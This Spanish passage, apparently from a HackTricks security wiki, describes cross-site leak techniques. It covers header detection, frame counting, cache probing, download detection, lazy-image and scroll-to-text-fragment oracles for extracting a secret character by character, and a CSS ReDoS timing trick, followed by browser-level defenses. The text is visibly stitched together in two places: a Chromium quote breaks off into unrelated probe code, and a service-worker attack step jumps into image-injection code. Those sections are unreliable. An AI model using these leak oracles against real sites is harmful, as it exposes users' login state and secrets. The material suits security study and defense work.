Esto permite a un atacante detectar directivas CSP específicas de una página de origen cruzado, si es posible **detectar la página de error**. Aunque, este error ahora está marcado como corregido, encontramos una **nueva técnica de fuga que puede detectar la página de error, porque el problema subyacente nunca se solucionó.**

### **CORP**

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Encabezado
* **Más información**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Resumen:** Un recurso protegido con CORP genera un error al ser obtenido.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

El encabezado CORP es una característica de seguridad de la plataforma web relativamente nueva que, cuando se establece, **bloquea las solicitudes de origen cruzado sin CORS al recurso dado**. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP **generará un error al ser obtenido**.

### CORB

* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Resumen**: CORB puede permitir a los atacantes detectar cuando el encabezado **`nosniff`** está presente en la solicitud.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Consulta el enlace de más información para más detalles sobre el ataque.

### Error CORS en la mala configuración de Reflexión de Origen <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Resumen**: Si el encabezado Origin se refleja en el encabezado `Access-Control-Allow-Origin` es posible verificar si un recurso ya está en la caché.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin` un atacante puede abusar de este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si un **error** **no** se activa, significa que fue **correctamente recuperado de la web**, si se activa un error, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante)**.**\
Nota que si el origen no se refleja pero se usa un comodín (`Access-Control-Allow-Origin: *`) esto no funcionará.

## Técnica de Atributos Legibles

### Redirección Fetch

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Código de Estado
* **Más información**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Resumen:** GC y SA permiten verificar el tipo de respuesta (opaque-redirect) después de que la redirección se ha completado.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Al enviar una solicitud usando la Fetch API con `redirect: "manual"` y otros parámetros, es posible leer el atributo `response.type` y si es igual a `opaqueredirect` entonces la respuesta fue una redirección.

### COOP

* **Métodos de Inclusión**: Pop-ups
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Resumen:** Las páginas protegidas con COOP no pueden ser accedidas.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Un atacante puede revelar si el encabezado de Política de Apertura de Origen Cruzado (COOP) está disponible dentro de una respuesta HTTP de origen cruzado.

Las aplicaciones web pueden implementar el encabezado de respuesta COOP para prevenir que otros sitios web obtengan referencias arbitrarias de ventana a la aplicación. Sin embargo, este **encabezado puede ser detectado fácilmente** intentando leer la **referencia `contentWindow`**. Si un sitio solo implementa **COOP en un estado**, esta propiedad (`opener`) es **indefinida**, **de lo contrario** está **definida**.

### Longitud Máxima de URL - Lado del Servidor

* **Métodos de Inclusión**: Fetch API, Elementos HTML
* **Diferencia Detectable**: Código de Estado / Contenido
* **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Resumen:** Detectar diferencias en respuestas debido a que la longitud de la respuesta de redirección puede ser demasiado grande y el servidor responde con un error y se genera una alerta.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Si una redirección del lado del servidor usa **datos de usuario dentro de la redirección** y **datos adicionales**. Es posible detectar este comportamiento porque generalmente los **servidores** tienen un **límite de longitud de solicitud**. Si los **datos del usuario** son esa **longitud - 1**, porque la **redirección** está usando **esos datos** y **agregando** algo **extra**, activará un **error detectable a través de Eventos de Error**.

Si de alguna manera puedes establecer cookies a un usuario, también puedes realizar este ataque **estableciendo suficientes cookies** ([**bomba de cookies**](hacking-with-cookies/cookie-bomb.md)) para que con el **tamaño de respuesta aumentado** de la **respuesta correcta** se active un **error**. En este caso, recuerda que si activas esta solicitud desde el mismo sitio, `<script>` enviará automáticamente las cookies (así que puedes verificar errores).\
Un ejemplo de la **bomba de cookies + XS-Search** se puede encontrar en la solución prevista de este informe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` o estar en el mismo contexto suele ser necesario para este tipo de ataque.

### Longitud Máxima de URL - Lado del Cliente

* **Métodos de Inclusión**: Pop-ups
* **Diferencia Detectable**: Código de Estado / Contenido
* **Más información**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Resumen:** Detectar diferencias en respuestas porque la longitud de la respuesta de redirección puede ser demasiado grande para una solicitud que se puede notar una diferencia.
* **Ejemplo de Código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

Según la [documentación de Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), el límite máximo de URL de Chrome es de 2MB.

> En general, la _plataforma web_ no tiene límites en la longitud de las URL (aunque 2^31 es un límite común). _Chrome_ limita las URL a una longitud
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Conteo de Marcos

* **Métodos de Inclusión**: Marcos, Pop-ups
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Resumen:** Leer número de marcos (window.length).
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

Contar el **número de marcos en una web** abierta a través de `iframe` o `window.open` podría ayudar a identificar el **estado del usuario en esa página**.\
Además, si la página siempre tiene el mismo número de marcos, verificar **continuamente** el número de marcos podría ayudar a identificar un **patrón** que podría filtrar información.

Un ejemplo de esta técnica es que en Chrome, un **PDF** puede ser **detectado** con **conteo de marcos** porque internamente se utiliza un `embed`. Hay [Parámetros de URL Abiertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permiten cierto control sobre el contenido como `zoom`, `view`, `page`, `toolbar` donde esta técnica podría ser interesante.

### HTMLElements

* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Resumen:** Leer el valor filtrado para distinguir entre 2 estados posibles
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

Algunas páginas web pueden **generar archivos multimedia dinámicamente** dependiendo de la información del usuario o agregar marcas de agua que cambian el tamaño de los medios. Un atacante puede usar información filtrada por esos elementos HTML para distinguir entre estados posibles.

Algunos HTMLElements filtrarán información a orígenes cruzados como el tipo de medios que son:

* [HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement) filtra la `duración` de los medios y los tiempos `buffered`.
* [HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement) filtra la `videoHeight` y `videoWidth` algunos navegadores también pueden tener `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount`
* [getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality) filtra los `totalVideoFrames`.
* [HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement) filtra la `altura` y `anchura` pero si la imagen es inválida serán 0 y [`image.decode()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decode) será rechazado.

### Propiedad CSS

* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Resumen:** Detectar el estilo del sitio web dependiendo del estado del usuario.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Las aplicaciones web pueden cambiar el **estilo del sitio web dependiendo del estado del usuario**. Los archivos CSS de origen cruzado se pueden incrustar en la página del atacante con el **elemento de enlace HTML**, y las **reglas** se **aplicarán** a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** dependiendo del estado del usuario.\
Como técnica de filtración, el atacante puede usar el método `window.getComputedStyle` para **leer propiedades CSS** de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.

### Historial CSS

* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Resumen:** Detectar si el estilo `:visited` se aplica a una URL indicando que ya fue visitada
* **Ejemplo de Código**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
Según [**esto**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), esto no funciona en Chrome sin cabeza.
{% endhint %}

Usando el selector CSS [`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited), es posible aplicar un estilo diferente para las URL que han sido visitadas.\
Anteriormente era posible usar [`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle) para detectar esta diferencia, pero ahora los navegadores lo previenen devolviendo siempre valores como si el enlace hubiera sido visitado y limitando qué estilos se pueden aplicar usando el selector.\
Por lo tanto, puede ser necesario engañar al usuario para que haga clic en un área que el CSS ha afectado, esto se puede hacer usando [`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode).\
También hay formas de hacerlo sin interacción del usuario, como abusar de los tiempos de renderizado, esto funciona porque toma tiempo pintar los enlaces de un color diferente.\
Se proporcionó un PoC en un informe de cromo que funciona utilizando múltiples enlaces para aumentar la diferencia de tiempo.

### Fuga de X-Frame de ContentDocument

* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Encabezados
* **Más información**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Resumen:** En GC, cuando una página no tiene permiso para incrustarse en una página de origen cruzado debido a **X-Frame-Options, se muestra una página de error**.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

En Chrome, cuando una página no tiene permiso para incrustarse en una página de origen cruzado, porque el encabezado **X-FrameOptions** (XFO) está configurado para denegar o mismo origen, se muestra una **página de error en su lugar**. Para objetos, esta página de error puede ser **detectada comprobando la propiedad `contentDocument`**. Típicamente, esta propiedad devuelve null porque no se permite el acceso a un documento incrustado de origen cruzado. Sin embargo, debido al **renderizado de Chrome** de la página de error, se devuelve un **objeto de documento vacío** en su lugar. Esto no funciona para iframes o en otros navegadores. Los desarrolladores pueden olvidar configurar X-Frame-Options para todas las páginas y especialmente las páginas de error a menudo carecen de este encabezado. Como técnica de filtración, un atacante puede ser capaz de diferenciar entre diferentes estados de usuario comprobándolo.

### Detección de Descargas

* **Métodos de Inclusión**: Marcos, Pop-ups
* **Diferencia Detectable**: Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Resumen:** El atacante puede detectar descargas usando iframes. Si el iframe sigue siendo accesible, el archivo fue descargado.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

El encabezado `Content-Disposition` ([`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)) indica si el navegador debe descargar el contenido o mostrarlo en línea.

Si solo un usuario registrado podría **acceder a una página que descargará un archivo** porque está usando el encabezado. Es posible detectar ese comportamiento.

#### Barra de Descarga <a href="#download-bar" id="download-bar"></a>

En los navegadores basados en Chromium, cuando se descarga un archivo, se muestra una vista previa del proceso de descarga **en una barra en la parte inferior**, integrada en la ventana del navegador. Al **monitorear la altura de la ventana**, los atacantes pueden detectar si se abrió la "barra de descarga".

#### Navegación de Descarga (con iframes) <a href="#download-navigation-with-iframes" id="download-navigation-with-iframes"></a>

Otra forma de probar el encabezado [`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition) es **verificar si ocurrió una navegación**. Si una carga de página causa una descarga, no se desencadena una navegación y la **ventana permanece dentro del mismo origen**.

#### Navegación de Descarga (sin iframes) <a href="#download-navigation-without-iframes" id="download-navigation-without-iframes"></a>

Misma técnica que la anterior pero usando `window.open` en lugar de iframes.

### Elusión de Caché HTTP Particionada <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **Métodos de Inclusión**: Pop-ups
* **Diferencia Detectable**: Tiempo
* **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Resumen:** El atacante puede detectar descargas usando iframes. Si el iframe sigue siendo accesible, el archivo fue descargado.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
Esto es por qué esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página de ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no se puede compartir. Puedes encontrar más detalles aquí: [Ganando seguridad y privacidad al particionar la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Comentario de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}

Si un sitio `example.com` incluye un recurso de `*.example.com/resource` entonces ese recurso tendrá la **misma clave de caché** como si el recurso fuera **solicitado directamente a través de navegación de nivel superior**. Eso es porque la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ del marco.

Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20ms (por ejemplo) después. Si el origen cambió después de la parada, significa que el recurso estaba en caché.\
O simplemente podría **enviar algunos fetch a la página potencialmente en caché y medir el tiempo que toma**.

### Redirección Manual <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Métodos de Inclusión**: API Fetch
* **Diferencia Detectable**: Redirecciones
* **Más información**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
* **Resumen:** Es posible averiguar si una respuesta a una solicitud de fetch es una redirección
* **Ejemplo de Código**:

![](<../.gitbook/assets/image (652).png>)

### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Métodos de Inclusión**: API Fetch
* **Diferencia Detectable**: Tiempo
* **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Resumen:** Es posible intentar cargar un recurso y abortar antes de que se cargue, si se interrumpe la carga. Dependiendo de si se desencadena un error, el recurso estaba o no estaba en caché.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController) podría combinarse con _**fetch**_ y _**setTimeout**_ para detectar tanto si el **recurso está en caché** como para expulsar un recurso específico de la caché del navegador. Una característica interesante de esta técnica es que la sonda se realiza sin almacenar nuevo contenido en el proceso.

### Contaminación de Scripts

* **Métodos de Inclusión**: Elementos HTML (script)
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Resumen:** Cuando un **script de origen cruzado** se incluye en una página, **no es posible leer directamente** su contenido. Sin embargo, si un script **utiliza funciones integradas**, es posible **sobrescribirlas** y leer sus argumentos que podrían **filtrar información valiosa**.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### Service Workers <a href="#service-workers" id="service-workers"></a>

* **Métodos de Inclusión**: Pop-ups
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Resumen:** Medir tiempo de ejecución de una web usando service workers.
* **Ejemplo de Código**:

1. El atacante registra un service worker en uno de sus dominios (attacker.com).
```html
<img src=/something loading=lazy >
```
Por lo tanto, lo que puedes hacer es **añadir muchos caracteres basura** (Por ejemplo, **miles de "W"s**) para **llenar la página web antes del secreto o añadir algo como** `<br><canvas height="1850px"></canvas><br>`.\
Entonces, si por ejemplo nuestra **inyección aparece antes de la bandera**, la **imagen** se **cargaría**, pero si aparece **después** de la **bandera**, la bandera + la basura **evitarán que se cargue** (necesitarás jugar con la cantidad de basura a colocar). Esto es lo que ocurrió en [**este writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).

Otra opción sería utilizar el **scroll-to-text-fragment** si está permitido:

#### Scroll-to-text-fragment

Sin embargo, haces que el **bot acceda a la página** con algo como
```
#:~:text=SECR
```
Por lo tanto, la página web será algo como: **`https://victim.com/post.html#:~:text=SECR`**

Donde post.html contiene los caracteres basura del atacante y la imagen de carga perezosa y luego se agrega el secreto del bot.

Lo que hará este texto es hacer que el bot acceda a cualquier texto en la página que contenga el texto `SECR`. Como ese texto es el secreto y está justo **debajo de la imagen**, la **imagen solo se cargará si el secreto adivinado es correcto**. Así que ahí tienes tu oráculo para **exfiltrar el secreto carácter por carácter**.

Algunos ejemplos de código para explotar esto: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Carga Perezosa de Imágenes Basada en Tiempo

Si **no es posible cargar una imagen externa** que podría indicar al atacante que la imagen se cargó, otra opción sería intentar **adivinar el carácter varias veces y medir eso**. Si la imagen se carga, todas las solicitudes tardarán más que si la imagen no se carga. Esto es lo que se utilizó en la [**solución de este writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aquí:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

Si se usa `jQuery(location.hash)`, es posible averiguar mediante el tiempo **si existe algún contenido HTML**, esto se debe a que si el selector `main[id='site-main']` no coincide, no necesita verificar el resto de los **selectores**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### Inyección de CSS

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## Defensas

En esta sección puedes encontrar parte de las mitigaciones recomendadas en [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), sin embargo, hay más mitigaciones en cada sección del wiki [https://xsleaks.dev/](https://xsleaks.dev/). Visita ese sitio para más información sobre cómo protegerse contra estas técnicas.

### Mitigaciones del Método de Inclusión

* **Elementos HTML**. Puede usar el **encabezado CORP para controlar si las páginas pueden incrustar un recurso**. CORP puede establecerse en same-origin o same-site y bloquea cualquier solicitud cross-origin o cross-site a ese recurso. En el **lado del cliente**, los navegadores basados en Chromium utilizan el algoritmo **CORB** para decidir si se deben permitir o denegar las solicitudes de recursos cross-origin.
* **Frames**. La principal defensa para **prevenir la carga de elementos iframe** de recursos HTML es el uso de **X-Frame-Options**. Alternativamente, la **directiva CSP frame-ancestors** puede lograr un resultado similar. Si se deniega la incrustación, el método de inclusión no puede detectar una diferencia en las respuestas.
* **Pop-ups**. Para restringir el acceso a `window.opener`, el **encabezado de respuesta HTTP COOP** define tres valores diferentes: unsafe-none (predeterminado), same-origin-allow-popups y same-origin. Estos valores se pueden usar para **aislar pestañas de navegación y pop-ups** y así, mitiga técnicas de leak basadas en pop-ups.
* **Solicitudes JavaScript**. Las solicitudes JavaScript cross-origin se utilizan a menudo en ataques XS-Leak, porque un atacante tiene control fino sobre la solicitud emitida. Sin embargo, dado que estas solicitudes no están habilitadas para CORS, están sujetas a las mismas restricciones que las solicitudes enviadas por elementos HTML, como scripts o imágenes. Por lo tanto, el impacto de esta técnica de leak también puede ser **mitigado por CORP y CORB**.

Métodos más genéricos:

* **Metadatos Fetch**. Estos encabezados de solicitud permiten a los propietarios de servidores comprender mejor cómo el navegador del usuario causó una solicitud específica. En Chrome, los encabezados Sec-Fetch-\* se agregan automáticamente a cada solicitud y proporcionan metadatos sobre la procedencia de la solicitud. Por ejemplo, Sec-Fetch-Dest: image se activó desde un elemento de imagen. Las aplicaciones web pueden entonces elegir bloquear solicitudes basadas en esa información.
* **Cookies Same-Site**. La bandera de cookie Same-Site permite a los sitios web declarar **si una cookie debe estar restringida a un contexto same-site o firstparty**. Todos los navegadores principales admiten cookies Same-Site. En GC, las cookies sin el atributo ahora son Lax por defecto. Para XS-Leaks, **las cookies Same-Site limitan drásticamente las posibilidades de ataque de leak**. Por otro lado, las técnicas de leak que dependen de **`window.open` aún funcionan con `SameSite=Lax`**. Los sitios web que utilizan **otros métodos de autenticación**, como certificados del lado del cliente y autenticación HTTP, **siguen siendo vulnerables**.
* **Desvinculación de Identificadores Cross-Origin (COIU)**. COIU, también conocido como Aislamiento de Primera Parte (FPI), es una característica de seguridad opcional que los usuarios pueden habilitar en la configuración de expertos de FF (about:config) y fue introducida inicialmente en Tor Browser. En una vista abstracta, es un contexto same-site extendido. **Vincula múltiples recursos** (por ejemplo, Cookies, Cache, Almacenamientos del lado del cliente) **a la primera parte** en lugar de compartirlos entre todos los sitios web visitados. Si se habilita, COIU disminuye drásticamente la aplicabilidad de XS-Leaks, ya que solo los métodos que usan pop-ups son aún posibles para cumplir con el requisito de primera parte de la política.
* **Protecciones de Seguimiento**. Apple implementó un mecanismo de privacidad llamado **Prevención Inteligente de Seguimiento (ITP)** en SA que tiene como objetivo combatir el seguimiento cross-site limitando las capacidades de las cookies y otras APIs web. En versiones más recientes de SA, ITP bloquea todas las cookies de terceros por defecto sin excepciones \[74]. Este bloqueo previene todos los leaks que no se basan en pop-ups. FF adoptó un enfoque similar con la Prevención Mejorada de Seguimiento (ETP), pero solo bloquean cookies de terceros específicas que pertenecen a proveedores de seguimiento. En el contexto de XS-Leaks, ETP solo mitiga técnicas de leak que apuntan a estos dominios de seguimiento.
* **Extensiones de Navegador**. Los usuarios conscientes de la seguridad pueden usar **extensiones de navegador para prevenir ciertos métodos de inclusión**.

### Mitigaciones de Técnicas de Leak

* **Manejador de Eventos**. La **mitigación más efectiva** en esta técnica de leak sería **negarlas todas**, pero esto rompería la mayoría de las aplicaciones web en Internet. Por lo tanto, proponemos **reducir la cantidad de información necesaria que se puede recopilar dentro de los eventos**. Por ejemplo, el evento de violación de CSP no debe contener la URL de destino de redirección en el campo blockedURI. Este comportamiento está implementado en FF y en versiones más recientes de GC – solo SA sigue siendo vulnerable.
* **Mensajes de Error**. Para mitigar XS-Leaks basados en mensajes de error de técnicas de leak, hay dos requisitos principales. Primero, **los mensajes de error no deben contener información detallada**, de manera similar a los mensajes del manejador de eventos. Segundo, los navegadores deben **minimizar la ocurrencia de mensajes de error**. XS-Leaks como SRI Error, ContentDocument XFO o Fetch Redirect detectan si se lanza un mensaje de error o no.
* **Límites Globales**. Arreglar técnicas de leak que abusan de límites globales es relativamente complejo porque dependen de restricciones físicas. La recomendación general es **restringir los límites globales en una pequeña base por sitio**. Si el límite global es 1, como para la API de Pago, el atacante puede intentar activar silenciosamente la UI de WebPayment en cualquier momento, lo cual solo tiene éxito si la UI no está siendo utilizada concurrentemente por otra pestaña. Recomendamos acceder a la API de Pago solo cuando se haya utilizado un evento confiable. De esta manera, el límite global se establece en cero a menos que el usuario dé su consentimiento, como un clic con el botón izquierdo del ratón en una ventana de diálogo, lo que establece el límite global en uno.
* **Estado Global**. No se debe poder acceder a **ninguna propiedad del estado global de un navegador**. Por ejemplo, FF es el único navegador que actualiza el estado global del historial cuando ocurre una redirección, lo que resulta en la lectura de history.length. Los navegadores deberían crear una nueva propiedad de historial cuando ocurre una redirección en lugar de almacenarla globalmente. Otros ejemplos son recursos compartidos, como cachés. Los leaks de caché abusan de la caché compartida utilizada para todos los sitios web abiertos en un navegador. Para mitigar completamente las técnicas de leak de caché, la caché HTTP debe estar particionada en una base por sitio, como está implementado por SA, GC y FF. Cabe señalar que en SA los iframes no están afectados por la partición de caché.
* **API de Rendimiento**. Demostramos que la API de Rendimiento es una excelente técnica de leak. En muchos XS-Leaks, pudimos detectar la diferencia de si la respuesta de una solicitud cross-origin tiene o no una entrada de rendimiento. Como unificación, recomendamos asegurar que todas las solicitudes creen tal entrada y solo el subconjunto correcto de información de tiempo se registre para solicitudes cross-origin.

## Referencias

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

